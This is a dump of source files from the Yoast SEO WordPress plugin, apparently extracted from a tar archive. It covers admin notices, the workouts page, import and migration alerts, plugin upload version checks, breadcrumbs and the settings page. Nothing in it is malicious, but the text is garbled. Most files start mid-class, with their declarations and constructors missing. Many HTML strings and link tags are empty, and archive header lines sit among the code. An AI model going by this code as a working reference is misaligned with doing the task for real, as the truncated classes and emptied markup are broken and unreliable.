protected function sort_actions( $available_actions ) {
$first_action = 'validate_data';
$available_sorted_actions = [];
foreach ( $available_actions as $plugin => $plugin_available_actions ) {
$validate_action_position = \array_search( $first_action, $plugin_available_actions, true );
if ( ! empty( $validate_action_position ) ) {
unset( $plugin_available_actions[ $validate_action_position ] );
\array_unshift( $plugin_available_actions, $first_action );
}
$available_sorted_actions[ $plugin ] = $plugin_available_actions;
}
return $available_sorted_actions;
}
/**
* Retrieves a list of the importing endpoints to use.
*
* @return array The endpoints.
*/
protected function get_cleanup_endpoints() {
$available_actions = $this->importable_detector->detect_cleanups();
$importing_endpoints = [];
foreach ( $available_actions as $plugin => $types ) {
foreach ( $types as $type ) {
$importing_endpoints[ $plugin ][] = $this->importing_route->get_endpoint( $plugin, $type );
}
}
return $importing_endpoints;
}
/**
* Gets the validation failure alert using the Alert_Presenter.
*
* @return string The validation failure alert.
*/
protected function get_validation_failure_alert() {
$content = \esc_html__( 'The AIOSEO import was cancelled because some AIOSEO data is missing. Please try and take the following steps to fix this:', 'wordpress-seo' );
$content .= ' ';
$content .= '
';
$content .= \esc_html__( 'If you have never saved any AIOSEO \'Search Appearance\' settings, please do that first and run the import again.', 'wordpress-seo' );
$content .= '
';
$content .= '
';
$content .= \esc_html__( 'If you already have saved AIOSEO \'Search Appearance\' settings and the issue persists, please contact our support team so we can take a closer look.', 'wordpress-seo' );
$content .= '
';
$validation_failure_alert = new Alert_Presenter( $content, 'error' );
return $validation_failure_alert->present();
}
/**
* Gets the import failure alert using the Alert_Presenter.
*
* @param bool $is_import Wether it's an import or not.
*
* @return string The import failure alert.
*/
protected function get_import_failure_alert( $is_import ) {
$content = \esc_html__( 'Cleanup failed with the following error:', 'wordpress-seo' );
if ( $is_import ) {
$content = \esc_html__( 'Import failed with the following error:', 'wordpress-seo' );
}
$content .= '
';
$content .= \esc_html( '%s' );
$import_failure_alert = new Alert_Presenter( $content, 'error' );
return $import_failure_alert->present();
}
}
integrations/admin/deactivated-premium-integration.php 0000644 00000010335 15207625456 0017343 0 ustar 00 options_helper = $options_helper;
$this->admin_asset_manager = $admin_asset_manager;
}
/**
* {@inheritDoc}
*/
public function register_hooks() {
\add_action( 'admin_notices', [ $this, 'premium_deactivated_notice' ] );
\add_action( 'wp_ajax_dismiss_premium_deactivated_notice', [ $this, 'dismiss_premium_deactivated_notice' ] );
}
/**
* Shows a notice if premium is installed but not activated.
*
* @return void
*/
public function premium_deactivated_notice() {
global $pagenow;
if ( $pagenow === 'update.php' ) {
return;
}
if ( $this->options_helper->get( 'dismiss_premium_deactivated_notice', false ) === true ) {
return;
}
$premium_file = 'wordpress-seo-premium/wp-seo-premium.php';
if ( ! \current_user_can( 'activate_plugin', $premium_file ) ) {
return;
}
if ( $this->premium_is_installed_not_activated( $premium_file ) ) {
$this->admin_asset_manager->enqueue_style( 'monorepo' );
$content = \sprintf(
/* translators: 1: Yoast SEO Premium 2: Link start tag to activate premium, 3: Link closing tag. */
\__( 'You\'ve installed %1$s but it\'s not activated yet. %2$sActivate %1$s now!%3$s', 'wordpress-seo' ),
'Yoast SEO Premium',
'',
'',
);
// phpcs:disable WordPress.Security.EscapeOutput.OutputNotEscaped -- Output escaped above.
echo new Notice_Presenter(
/* translators: 1: Yoast SEO Premium */
\sprintf( \__( 'Activate %1$s!', 'wordpress-seo' ), 'Yoast SEO Premium' ),
$content,
'support-team.svg',
null,
true,
'yoast-premium-deactivated-notice',
);
// phpcs:enable
// Enable permanently dismissing the notice.
echo "";
}
}
/**
* Dismisses the premium deactivated notice.
*
* @return bool
*/
public function dismiss_premium_deactivated_notice() {
return $this->options_helper->set( 'dismiss_premium_deactivated_notice', true );
}
/**
* Returns whether or not premium is installed and not activated.
*
* @param string $premium_file The premium file.
*
* @return bool Whether or not premium is installed and not activated.
*/
protected function premium_is_installed_not_activated( $premium_file ) {
return (
! \defined( 'WPSEO_PREMIUM_FILE' )
&& \file_exists( \WP_PLUGIN_DIR . '/' . $premium_file )
);
}
}
integrations/admin/workouts-integration.php 0000644 00000026073 15207625456 0015315 0 ustar 00 addon_manager = $addon_manager;
$this->admin_asset_manager = $admin_asset_manager;
$this->options_helper = $options_helper;
$this->product_helper = $product_helper;
}
/**
* {@inheritDoc}
*/
public function register_hooks() {
\add_filter( 'wpseo_submenu_pages', [ $this, 'add_submenu_page' ], 8 );
\add_filter( 'wpseo_submenu_pages', [ $this, 'remove_old_submenu_page' ], 10 );
\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ], 11 );
}
/**
* Adds the workouts submenu page.
*
* @param array $submenu_pages The Yoast SEO submenu pages.
*
* @return array The filtered submenu pages.
*/
public function add_submenu_page( $submenu_pages ) {
$submenu_pages[] = [
'wpseo_dashboard',
'',
\__( 'Workouts', 'wordpress-seo' ) . ' ',
'edit_others_posts',
'wpseo_workouts',
[ $this, 'render_target' ],
];
return $submenu_pages;
}
/**
* Removes the workouts submenu page from older Premium versions
*
* @param array $submenu_pages The Yoast SEO submenu pages.
*
* @return array The filtered submenu pages.
*/
public function remove_old_submenu_page( $submenu_pages ) {
if ( ! $this->should_update_premium() ) {
return $submenu_pages;
}
// Copy only the Workouts page item that comes first in the array.
$result_submenu_pages = [];
$workouts_page_encountered = false;
foreach ( $submenu_pages as $item ) {
if ( $item[4] !== 'wpseo_workouts' || ! $workouts_page_encountered ) {
$result_submenu_pages[] = $item;
}
if ( $item[4] === 'wpseo_workouts' ) {
$workouts_page_encountered = true;
}
}
return $result_submenu_pages;
}
/**
* Enqueue the workouts app.
*
* @return void
*/
public function enqueue_assets() {
// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Date is not processed or saved.
if ( ! isset( $_GET['page'] ) || $_GET['page'] !== 'wpseo_workouts' ) {
return;
}
if ( $this->should_update_premium() ) {
\wp_dequeue_script( 'yoast-seo-premium-workouts' );
}
$this->admin_asset_manager->enqueue_style( 'workouts' );
$workouts_option = $this->get_workouts_option();
$ftc_url = \esc_url( \admin_url( 'admin.php?page=wpseo_dashboard#/first-time-configuration' ) );
$this->admin_asset_manager->enqueue_script( 'workouts' );
$this->admin_asset_manager->localize_script(
'workouts',
'wpseoWorkoutsData',
[
'workouts' => $workouts_option,
'homeUrl' => \home_url(),
'pluginUrl' => \esc_url( \plugins_url( '', \WPSEO_FILE ) ),
'toolsPageUrl' => \esc_url( \admin_url( 'admin.php?page=wpseo_tools' ) ),
'usersPageUrl' => \esc_url( \admin_url( 'users.php' ) ),
'firstTimeConfigurationUrl' => $ftc_url,
'isPremium' => $this->product_helper->is_premium(),
'upsellText' => $this->get_upsell_text(),
'upsellLink' => $this->get_upsell_link(),
],
);
}
/**
* Renders the target for the React to mount to.
*
* @return void
*/
public function render_target() {
if ( $this->should_update_premium() ) {
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output escaped in get_update_premium_notice.
echo $this->get_update_premium_notice();
}
echo '';
}
/**
* Gets the workouts option.
*
* @return mixed|null Returns workouts option if found, null if not.
*/
private function get_workouts_option() {
$workouts_option = $this->options_helper->get( 'workouts_data' );
// This filter is documented in src/routes/workouts-route.php.
return \apply_filters( 'Yoast\WP\SEO\workouts_options', $workouts_option );
}
/**
* Returns the notification to show when Premium needs to be updated.
*
* @return string The notification to update Premium.
*/
private function get_update_premium_notice() {
$url = $this->get_upsell_link();
if ( $this->has_premium_subscription_expired() ) {
/* translators: %s: expands to 'Yoast SEO Premium'. */
$title = \sprintf( \__( 'Renew your subscription of %s', 'wordpress-seo' ), 'Yoast SEO Premium' );
$copy = \sprintf(
/* translators: %s: expands to 'Yoast SEO Premium'. */
\esc_html__(
'Accessing the latest workouts requires an updated version of %s (at least 17.7), but it looks like your subscription has expired. Please renew your subscription to update and gain access to all the latest features.',
'wordpress-seo',
),
'Yoast SEO Premium',
);
$button = ''
. \esc_html__( 'Renew your subscription', 'wordpress-seo' )
/* translators: Hidden accessibility text. */
. '' . \__( '(Opens in a new browser tab)', 'wordpress-seo' ) . ''
. ''
. '';
}
elseif ( $this->has_premium_subscription_activated() ) {
/* translators: %s: expands to 'Yoast SEO Premium'. */
$title = \sprintf( \__( 'Update to the latest version of %s', 'wordpress-seo' ), 'Yoast SEO Premium' );
$copy = \sprintf(
/* translators: 1: expands to 'Yoast SEO Premium', 2: Link start tag to the page to update Premium, 3: Link closing tag. */
\esc_html__( 'It looks like you\'re running an outdated version of %1$s, please %2$supdate to the latest version (at least 17.7)%3$s to gain access to our updated workouts section.', 'wordpress-seo' ),
'Yoast SEO Premium',
'',
'',
);
$button = null;
}
else {
/* translators: %s: expands to 'Yoast SEO Premium'. */
$title = \sprintf( \__( 'Activate your subscription of %s', 'wordpress-seo' ), 'Yoast SEO Premium' );
$url_button = 'https://yoa.st/workouts-activate-notice-help';
$copy = \sprintf(
/* translators: 1: expands to 'Yoast SEO Premium', 2: Link start tag to the page to update Premium, 3: Link closing tag. */
\esc_html__( 'It looks like you’re running an outdated and unactivated version of %1$s, please activate your subscription in %2$sMyYoast%3$s and update to the latest version (at least 17.7) to gain access to our updated workouts section.', 'wordpress-seo' ),
'Yoast SEO Premium',
'',
'',
);
$button = ''
. \esc_html__( 'Get help activating your subscription', 'wordpress-seo' )
/* translators: Hidden accessibility text. */
. '' . \__( '(Opens in a new browser tab)', 'wordpress-seo' ) . ''
. '';
}
$notice = new Notice_Presenter(
$title,
$copy,
null,
$button,
);
return $notice->present();
}
/**
* Check whether Premium should be updated.
*
* @return bool Returns true when Premium is enabled and the version is below 17.7.
*/
private function should_update_premium() {
$premium_version = $this->product_helper->get_premium_version();
return $premium_version !== null && \version_compare( $premium_version, '17.7-RC1', '<' );
}
/**
* Check whether the Premium subscription has expired.
*
* @return bool Returns true when Premium subscription has expired.
*/
private function has_premium_subscription_expired() {
$subscription = $this->addon_manager->get_subscription( WPSEO_Addon_Manager::PREMIUM_SLUG );
return ( isset( $subscription->expiry_date ) && ( \strtotime( $subscription->expiry_date ) - \time() ) < 0 );
}
/**
* Check whether the Premium subscription is activated.
*
* @return bool Returns true when Premium subscription is activated.
*/
private function has_premium_subscription_activated() {
return $this->addon_manager->has_valid_subscription( WPSEO_Addon_Manager::PREMIUM_SLUG );
}
/**
* Returns the upsell/update copy to show in the card buttons.
*
* @return string Returns a string with the upsell/update copy for the card buttons.
*/
private function get_upsell_text() {
if ( ! $this->product_helper->is_premium() || ! $this->should_update_premium() ) {
// Use the default defined in the component.
return '';
}
if ( $this->has_premium_subscription_expired() ) {
return \sprintf(
/* translators: %s: expands to 'Yoast SEO Premium'. */
\__( 'Renew %s', 'wordpress-seo' ),
'Yoast SEO Premium',
);
}
if ( $this->has_premium_subscription_activated() ) {
return \sprintf(
/* translators: %s: expands to 'Yoast SEO Premium'. */
\__( 'Update %s', 'wordpress-seo' ),
'Yoast SEO Premium',
);
}
return \sprintf(
/* translators: %s: expands to 'Yoast SEO Premium'. */
\__( 'Activate %s', 'wordpress-seo' ),
'Yoast SEO Premium',
);
}
/**
* Returns the upsell/update link to show in the card buttons.
*
* @return string Returns a string with the upsell/update link for the card buttons.
*/
private function get_upsell_link() {
if ( ! $this->product_helper->is_premium() || ! $this->should_update_premium() ) {
// Use the default defined in the component.
return '';
}
if ( $this->has_premium_subscription_expired() ) {
return 'https://yoa.st/workout-renew-notice';
}
if ( $this->has_premium_subscription_activated() ) {
return \wp_nonce_url( \self_admin_url( 'update.php?action=upgrade-plugin&plugin=wordpress-seo-premium/wp-seo-premium.php' ), 'upgrade-plugin_wordpress-seo-premium/wp-seo-premium.php' );
}
return 'https://yoa.st/workouts-activate-notice-myyoast';
}
}
integrations/admin/migration-error-integration.php 0000644 00000002543 15207625456 0016534 0 ustar 00 migration_status = $migration_status;
}
/**
* {@inheritDoc}
*/
public function register_hooks() {
if ( $this->migration_status->get_error( 'free' ) === false ) {
return;
}
\add_action( 'admin_notices', [ $this, 'render_migration_error' ] );
}
/**
* Renders the migration error.
*
* @return void
*/
public function render_migration_error() {
// phpcs:ignore WordPress.Security.EscapeOutput -- The Migration_Error_Presenter already escapes it's output.
echo new Migration_Error_Presenter( $this->migration_status->get_error( 'free' ) );
}
}
integrations/admin/old-configuration-integration.php 0000644 00000003230 15207625456 0017031 0 ustar 00 wp_content_dir(), \trailingslashit( \WP_CONTENT_DIR ), $source );
if ( ! \is_dir( $working_directory ) ) { // Confidence check, if the above fails, let's not prevent installation.
return $source;
}
// Check that the folder contains at least 1 valid plugin.
$files = \glob( $working_directory . '*.php' );
if ( $files ) {
foreach ( $files as $file ) {
$info = \get_plugin_data( $file, false, false );
if ( ! empty( $info['Name'] ) ) {
break;
}
}
}
$requires_yoast_seo = ! empty( $info['Requires Yoast SEO'] ) ? $info['Requires Yoast SEO'] : false;
if ( ! $this->check_requirement( $requires_yoast_seo ) ) {
$error = \sprintf(
/* translators: 1: Current Yoast SEO version, 2: Version required by the uploaded plugin. */
\__( 'The Yoast SEO version on your site is %1$s, however the uploaded plugin requires %2$s.', 'wordpress-seo' ),
\WPSEO_VERSION,
\esc_html( $requires_yoast_seo ),
);
return new WP_Error(
'incompatible_yoast_seo_required_version',
\__( 'The package could not be installed because it\'s not supported by the currently installed Yoast SEO version.', 'wordpress-seo' ),
$error,
);
}
return $source;
}
/**
* Update the comparison table for the plugin installation when overwriting an existing plugin.
*
* @param string $table The output table with Name, Version, Author, RequiresWP, and RequiresPHP info.
* @param array $current_plugin_data Array with current plugin data.
* @param array $new_plugin_data Array with uploaded plugin data.
*
* @return string The updated comparison table.
*/
public function update_comparison_table( $table, $current_plugin_data, $new_plugin_data ) {
$requires_yoast_seo_current = ! empty( $current_plugin_data['Requires Yoast SEO'] ) ? $current_plugin_data['Requires Yoast SEO'] : false;
$requires_yoast_seo_new = ! empty( $new_plugin_data['Requires Yoast SEO'] ) ? $new_plugin_data['Requires Yoast SEO'] : false;
if ( $requires_yoast_seo_current !== false || $requires_yoast_seo_new !== false ) {
$new_row = \sprintf(
'
%1$s
%2$s
%3$s
',
\__( 'Required Yoast SEO version', 'wordpress-seo' ),
( $requires_yoast_seo_current !== false ) ? \esc_html( $requires_yoast_seo_current ) : '-',
( $requires_yoast_seo_new !== false ) ? \esc_html( $requires_yoast_seo_new ) : '-',
);
$table = \str_replace( '', $new_row . '', $table );
}
return $table;
}
/**
* Check whether the required Yoast SEO version is installed.
*
* @param string|bool $required_version The required version.
*
* @return bool Whether the required version is installed, or no version is required.
*/
private function check_requirement( $required_version ) {
if ( $required_version === false ) {
return true;
}
return \version_compare( \WPSEO_VERSION, $required_version . '-RC0', '>=' );
}
}
integrations/integration-interface.php 0000644 00000000652 15207625461 0014257 0 ustar 00 context_memoizer = $context_memoizer;
$this->presenter = new Breadcrumbs_Presenter();
$this->presenter->helpers = $helpers;
$this->presenter->replace_vars = $replace_vars;
}
/**
* Returns the conditionals based in which this loadable should be active.
*
* @return array The array of conditionals.
*/
public static function get_conditionals() {
return [];
}
/**
* Registers the `wpseo_breadcrumb` shortcode.
*
* @codeCoverageIgnore
*
* @return void
*/
public function register_hooks() {
\add_shortcode( 'wpseo_breadcrumb', [ $this, 'render' ] );
}
/**
* Renders the breadcrumbs.
*
* @return string The rendered breadcrumbs.
*/
public function render() {
$context = $this->context_memoizer->for_current_page();
/** This filter is documented in src/integrations/front-end-integration.php */
$presentation = \apply_filters( 'wpseo_frontend_presentation', $context->presentation, $context );
$this->presenter->presentation = $presentation;
return $this->presenter->present();
}
}
integrations/estimated-reading-time.php 0000644 00000002127 15207625462 0014320 0 ustar 00 'hidden',
'title' => 'estimated-reading-time-minutes',
];
}
return $field_defs;
}
}
integrations/settings-integration.php 0000644 00000110454 15207625462 0014162 0 ustar 00 [
'myyoast-oauth',
'semrush_tokens',
'custom_taxonomy_slugs',
'import_cursors',
'workouts_data',
'configuration_finished_steps',
'importing_completed',
'wincher_tokens',
'least_readability_ignore_list',
'least_seo_score_ignore_list',
'most_linked_ignore_list',
'least_linked_ignore_list',
'indexables_page_reading_list',
'show_new_content_type_notification',
'new_post_types',
'new_taxonomies',
],
'wpseo_titles' => [
'company_logo_meta',
'person_logo_meta',
],
];
/**
* Holds the disabled on multisite settings, per option group.
*
* @var array
*/
public const DISABLED_ON_MULTISITE_SETTINGS = [
'wpseo' => [
'deny_search_crawling',
'deny_wp_json_crawling',
'deny_adsbot_crawling',
'deny_ccbot_crawling',
'deny_google_extended_crawling',
'deny_gptbot_crawling',
'enable_llms_txt',
],
];
/**
* Holds the WPSEO_Admin_Asset_Manager.
*
* @var WPSEO_Admin_Asset_Manager
*/
protected $asset_manager;
/**
* Holds the WPSEO_Replace_Vars.
*
* @var WPSEO_Replace_Vars
*/
protected $replace_vars;
/**
* Holds the Schema_Types.
*
* @var Schema_Types
*/
protected $schema_types;
/**
* Holds the Current_Page_Helper.
*
* @var Current_Page_Helper
*/
protected $current_page_helper;
/**
* Holds the Post_Type_Helper.
*
* @var Post_Type_Helper
*/
protected $post_type_helper;
/**
* Holds the Language_Helper.
*
* @var Language_Helper
*/
protected $language_helper;
/**
* Holds the Taxonomy_Helper.
*
* @var Taxonomy_Helper
*/
protected $taxonomy_helper;
/**
* Holds the Product_Helper.
*
* @var Product_Helper
*/
protected $product_helper;
/**
* Holds the Woocommerce_Helper.
*
* @var Woocommerce_Helper
*/
protected $woocommerce_helper;
/**
* Holds the Article_Helper.
*
* @var Article_Helper
*/
protected $article_helper;
/**
* Holds the User_Helper.
*
* @var User_Helper
*/
protected $user_helper;
/**
* Holds the Options_Helper instance.
*
* @var Options_Helper
*/
protected $options;
/**
* Holds the Content_Type_Visibility_Dismiss_Notifications instance.
*
* @var Content_Type_Visibility_Dismiss_Notifications
*/
protected $content_type_visibility;
/**
* Holds the Llms_Txt_Configuration instance.
*
* @var Llms_Txt_Configuration
*/
protected $llms_txt_configuration;
/**
* Holds the Schema_Configuration instance.
*
* @var Schema_Configuration
*/
protected $schema_configuration;
/**
* The manual post collection.
*
* @var Manual_Post_Collection
*/
private $manual_post_collection;
/**
* Runs the health check.
*
* @var File_Runner
*/
private $runner;
/**
* Holds the Route_Helper.
*
* @var Route_Helper
*/
private $route_helper;
/**
* Constructs Settings_Integration.
*
* @param WPSEO_Admin_Asset_Manager $asset_manager The WPSEO_Admin_Asset_Manager.
* @param WPSEO_Replace_Vars $replace_vars The WPSEO_Replace_Vars.
* @param Schema_Types $schema_types The Schema_Types.
* @param Current_Page_Helper $current_page_helper The Current_Page_Helper.
* @param Post_Type_Helper $post_type_helper The Post_Type_Helper.
* @param Language_Helper $language_helper The Language_Helper.
* @param Taxonomy_Helper $taxonomy_helper The Taxonomy_Helper.
* @param Product_Helper $product_helper The Product_Helper.
* @param Woocommerce_Helper $woocommerce_helper The Woocommerce_Helper.
* @param Article_Helper $article_helper The Article_Helper.
* @param User_Helper $user_helper The User_Helper.
* @param Options_Helper $options The options helper.
* @param Content_Type_Visibility_Dismiss_Notifications $content_type_visibility The Content_Type_Visibility_Dismiss_Notifications instance.
* @param Llms_Txt_Configuration $llms_txt_configuration The Llms_Txt_Configuration instance.
* @param Manual_Post_Collection $manual_post_collection The manual post collection.
* @param File_Runner $runner The file runner.
* @param Route_Helper $route_helper The Route_Helper.
* @param Schema_Configuration $schema_configuration The Schema_Configuration.
*/
public function __construct(
WPSEO_Admin_Asset_Manager $asset_manager,
WPSEO_Replace_Vars $replace_vars,
Schema_Types $schema_types,
Current_Page_Helper $current_page_helper,
Post_Type_Helper $post_type_helper,
Language_Helper $language_helper,
Taxonomy_Helper $taxonomy_helper,
Product_Helper $product_helper,
Woocommerce_Helper $woocommerce_helper,
Article_Helper $article_helper,
User_Helper $user_helper,
Options_Helper $options,
Content_Type_Visibility_Dismiss_Notifications $content_type_visibility,
Llms_Txt_Configuration $llms_txt_configuration,
Manual_Post_Collection $manual_post_collection,
File_Runner $runner,
Route_Helper $route_helper,
Schema_Configuration $schema_configuration
) {
$this->asset_manager = $asset_manager;
$this->replace_vars = $replace_vars;
$this->schema_types = $schema_types;
$this->current_page_helper = $current_page_helper;
$this->taxonomy_helper = $taxonomy_helper;
$this->post_type_helper = $post_type_helper;
$this->language_helper = $language_helper;
$this->product_helper = $product_helper;
$this->woocommerce_helper = $woocommerce_helper;
$this->article_helper = $article_helper;
$this->user_helper = $user_helper;
$this->options = $options;
$this->content_type_visibility = $content_type_visibility;
$this->llms_txt_configuration = $llms_txt_configuration;
$this->manual_post_collection = $manual_post_collection;
$this->runner = $runner;
$this->route_helper = $route_helper;
$this->schema_configuration = $schema_configuration;
}
/**
* Returns the conditionals based on which this loadable should be active.
*
* @return array
*/
public static function get_conditionals() {
return [ Settings_Conditional::class ];
}
/**
* Initializes the integration.
*
* This is the place to register hooks and filters.
*
* @return void
*/
public function register_hooks() {
// Add page.
\add_filter( 'wpseo_submenu_pages', [ $this, 'add_page' ] );
\add_filter( 'admin_menu', [ $this, 'add_settings_saved_page' ] );
// Are we saving the settings?
if ( $this->current_page_helper->get_current_admin_page() === 'options.php' ) {
$post_action = '';
// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: We are not processing form information.
if ( isset( $_POST['action'] ) && \is_string( $_POST['action'] ) ) {
// phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information.
$post_action = \wp_unslash( $_POST['action'] );
}
$option_page = '';
// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: We are not processing form information.
if ( isset( $_POST['option_page'] ) && \is_string( $_POST['option_page'] ) ) {
// phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information.
$option_page = \wp_unslash( $_POST['option_page'] );
}
if ( $post_action === 'update' && $option_page === self::PAGE ) {
\add_action( 'admin_init', [ $this, 'register_setting' ] );
\add_action( 'in_admin_header', [ $this, 'remove_notices' ], \PHP_INT_MAX );
}
return;
}
// Are we on the settings page?
if ( $this->current_page_helper->get_current_yoast_seo_page() === self::PAGE ) {
\add_action( 'admin_init', [ $this, 'register_setting' ] );
\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] );
\add_action( 'in_admin_header', [ $this, 'remove_notices' ], \PHP_INT_MAX );
}
}
/**
* Registers the different options under the setting.
*
* @return void
*/
public function register_setting() {
foreach ( WPSEO_Options::$options as $name => $instance ) {
if ( \in_array( $name, self::ALLOWED_OPTION_GROUPS, true ) ) {
\register_setting( self::PAGE, $name );
}
}
// Only register WP options when the user is allowed to manage them.
if ( \current_user_can( 'manage_options' ) ) {
foreach ( self::WP_OPTIONS as $name ) {
\register_setting( self::PAGE, $name );
}
}
}
/**
* Adds the page.
*
* @param array $pages The pages.
*
* @return array The pages.
*/
public function add_page( $pages ) {
\array_splice(
$pages,
1,
0,
[
[
'wpseo_dashboard',
'',
\__( 'Settings', 'wordpress-seo' ),
'wpseo_manage_options',
self::PAGE,
[ $this, 'display_page' ],
],
],
);
return $pages;
}
/**
* Adds a dummy page.
*
* Because the options route NEEDS to redirect to something.
*
* @param array $pages The pages.
*
* @return array The pages.
*/
public function add_settings_saved_page( $pages ) {
$runner = $this->runner;
\add_submenu_page(
'',
'',
'',
'wpseo_manage_options',
self::PAGE . '_saved',
static function () use ( $runner ) {
// Add success indication to HTML response.
$success = empty( \get_settings_errors() ) ? 'true' : 'false';
echo \esc_html( "{{ yoast-success: $success }}" );
$runner->run();
if ( ! $runner->is_successful() ) {
$failure_reason = $runner->get_generation_failure_reason();
echo \esc_html( "{{ yoast-llms-txt-generation-failure: $failure_reason }}" );
}
},
);
return $pages;
}
/**
* Displays the page.
*
* @return void
*/
public function display_page() {
echo '';
}
/**
* Enqueues the assets.
*
* @return void
*/
public function enqueue_assets() {
// Remove the emoji script as it is incompatible with both React and any contenteditable fields.
\remove_action( 'admin_print_scripts', 'print_emoji_detection_script' );
\wp_enqueue_media();
$this->asset_manager->enqueue_script( 'new-settings' );
$this->asset_manager->enqueue_style( 'new-settings' );
if ( \YoastSEO()->classes->get( Promotion_Manager::class )->is( 'black-friday-promotion' ) ) {
$this->asset_manager->enqueue_style( 'black-friday-banner' );
}
$this->asset_manager->localize_script( 'new-settings', 'wpseoScriptData', $this->get_script_data() );
}
/**
* Removes all current WP notices.
*
* @return void
*/
public function remove_notices() {
\remove_all_actions( 'admin_notices' );
\remove_all_actions( 'user_admin_notices' );
\remove_all_actions( 'network_admin_notices' );
\remove_all_actions( 'all_admin_notices' );
}
/**
* Creates the script data.
*
* @return array The script data.
*/
protected function get_script_data() {
$default_setting_values = $this->get_default_setting_values();
$settings = $this->get_settings( $default_setting_values );
$post_types = $this->post_type_helper->get_indexable_post_type_objects();
$taxonomies = $this->taxonomy_helper->get_indexable_taxonomy_objects();
// Check if attachments are included in indexation.
if ( ! \array_key_exists( 'attachment', $post_types ) ) {
// Always include attachments in the settings, to let the user enable them again.
$attachment_object = \get_post_type_object( 'attachment' );
if ( ! empty( $attachment_object ) ) {
$post_types['attachment'] = $attachment_object;
}
}
// Check if post formats are included in indexation.
if ( ! \array_key_exists( 'post_format', $taxonomies ) ) {
// Always include post_format in the settings, to let the user enable them again.
$post_format_object = \get_taxonomy( 'post_format' );
if ( ! empty( $post_format_object ) ) {
$taxonomies['post_format'] = $post_format_object;
}
}
$transformed_post_types = $this->transform_post_types( $post_types );
$transformed_taxonomies = $this->transform_taxonomies( $taxonomies, \array_keys( $transformed_post_types ) );
// Check if there is a new content type to show notification only once in the settings.
$show_new_content_type_notification = $this->content_type_visibility->maybe_add_settings_notification();
return [
'settings' => $this->transform_settings( $settings ),
'defaultSettingValues' => $default_setting_values,
'disabledSettings' => $this->get_disabled_settings( $settings ),
'endpoint' => \admin_url( 'options.php' ),
'nonce' => \wp_create_nonce( self::PAGE . '-options' ),
'separators' => WPSEO_Option_Titles::get_instance()->get_separator_options_for_display(),
'replacementVariables' => $this->get_replacement_variables(),
'schema' => $this->get_schema( $transformed_post_types ),
'preferences' => $this->get_preferences( $settings ),
'linkParams' => WPSEO_Shortlinker::get_query_params(),
'postTypes' => $transformed_post_types,
'taxonomies' => $transformed_taxonomies,
'fallbacks' => $this->get_fallbacks(),
'showNewContentTypeNotification' => $show_new_content_type_notification,
'currentPromotions' => \YoastSEO()->classes->get( Promotion_Manager::class )->get_current_promotions(),
'llmsTxt' => $this->llms_txt_configuration->get_configuration(),
'initialLlmTxtPages' => $this->get_site_llms_txt_pages( $settings ),
'schemaFrameworkConfiguration' => $this->schema_configuration->get_configuration(),
];
}
/**
* Retrieves the preferences.
*
* @param array $settings The settings.
*
* @return array The preferences.
*/
protected function get_preferences( $settings ) {
$shop_page_id = $this->woocommerce_helper->get_shop_page_id();
$homepage_is_latest_posts = \get_option( 'show_on_front' ) === 'posts';
$page_on_front = \get_option( 'page_on_front' );
$page_for_posts = \get_option( 'page_for_posts' );
$addon_manager = new WPSEO_Addon_Manager();
$woocommerce_seo_active = \is_plugin_active( $addon_manager->get_plugin_file( WPSEO_Addon_Manager::WOOCOMMERCE_SLUG ) );
if ( empty( $page_on_front ) ) {
$page_on_front = $page_for_posts;
}
$business_settings_url = \get_admin_url( null, 'admin.php?page=wpseo_local' );
if ( \defined( 'WPSEO_LOCAL_FILE' ) ) {
$local_options = \get_option( 'wpseo_local' );
$multiple_locations = $local_options['use_multiple_locations'];
$same_organization = $local_options['multiple_locations_same_organization'];
if ( $multiple_locations === 'on' && $same_organization !== 'on' ) {
$business_settings_url = \get_admin_url( null, 'edit.php?post_type=wpseo_locations' );
}
}
return [
'isPremium' => $this->product_helper->is_premium(),
'isRtl' => \is_rtl(),
'isNetworkAdmin' => \is_network_admin(),
'isMainSite' => \is_main_site(),
'isMultisite' => \is_multisite(),
'isWooCommerceActive' => $this->woocommerce_helper->is_active(),
'isLocalSeoActive' => \defined( 'WPSEO_LOCAL_FILE' ),
'isNewsSeoActive' => \defined( 'WPSEO_NEWS_FILE' ),
'isWooCommerceSEOActive' => $woocommerce_seo_active,
'siteUrl' => \get_bloginfo( 'url' ),
'siteTitle' => \get_bloginfo( 'name' ),
'sitemapUrl' => WPSEO_Sitemaps_Router::get_base_url( 'sitemap_index.xml' ),
'hasWooCommerceShopPage' => $shop_page_id !== -1,
'editWooCommerceShopPageUrl' => \get_edit_post_link( $shop_page_id, 'js' ),
'wooCommerceShopPageSettingUrl' => \get_admin_url( null, 'admin.php?page=wc-settings&tab=products' ),
'localSeoPageSettingUrl' => $business_settings_url,
'homepageIsLatestPosts' => $homepage_is_latest_posts,
'homepagePageEditUrl' => \get_edit_post_link( $page_on_front, 'js' ),
'homepagePostsEditUrl' => \get_edit_post_link( $page_for_posts, 'js' ),
'createUserUrl' => \admin_url( 'user-new.php' ),
'createPageUrl' => \admin_url( 'post-new.php?post_type=page' ),
'editUserUrl' => \admin_url( 'user-edit.php' ),
'editTaxonomyUrl' => \admin_url( 'edit-tags.php' ),
'generalSettingsUrl' => \admin_url( 'options-general.php' ),
'companyOrPersonMessage' => \apply_filters( 'wpseo_knowledge_graph_setting_msg', '' ),
'currentUserId' => \get_current_user_id(),
'canCreateUsers' => \current_user_can( 'create_users' ),
'canCreatePages' => \current_user_can( 'edit_pages' ),
'canEditUsers' => \current_user_can( 'edit_users' ),
'canManageOptions' => \current_user_can( 'manage_options' ),
'userLocale' => \str_replace( '_', '-', \get_user_locale() ),
'pluginUrl' => \plugins_url( '', \WPSEO_FILE ),
'showForceRewriteTitlesSetting' => ! \current_theme_supports( 'title-tag' ) && ! ( \function_exists( 'wp_is_block_theme' ) && \wp_is_block_theme() ),
'upsellSettings' => $this->get_upsell_settings(),
'siteRepresentsPerson' => $this->get_site_represents_person( $settings ),
'siteBasicsPolicies' => $this->get_site_basics_policies( $settings ),
];
}
/**
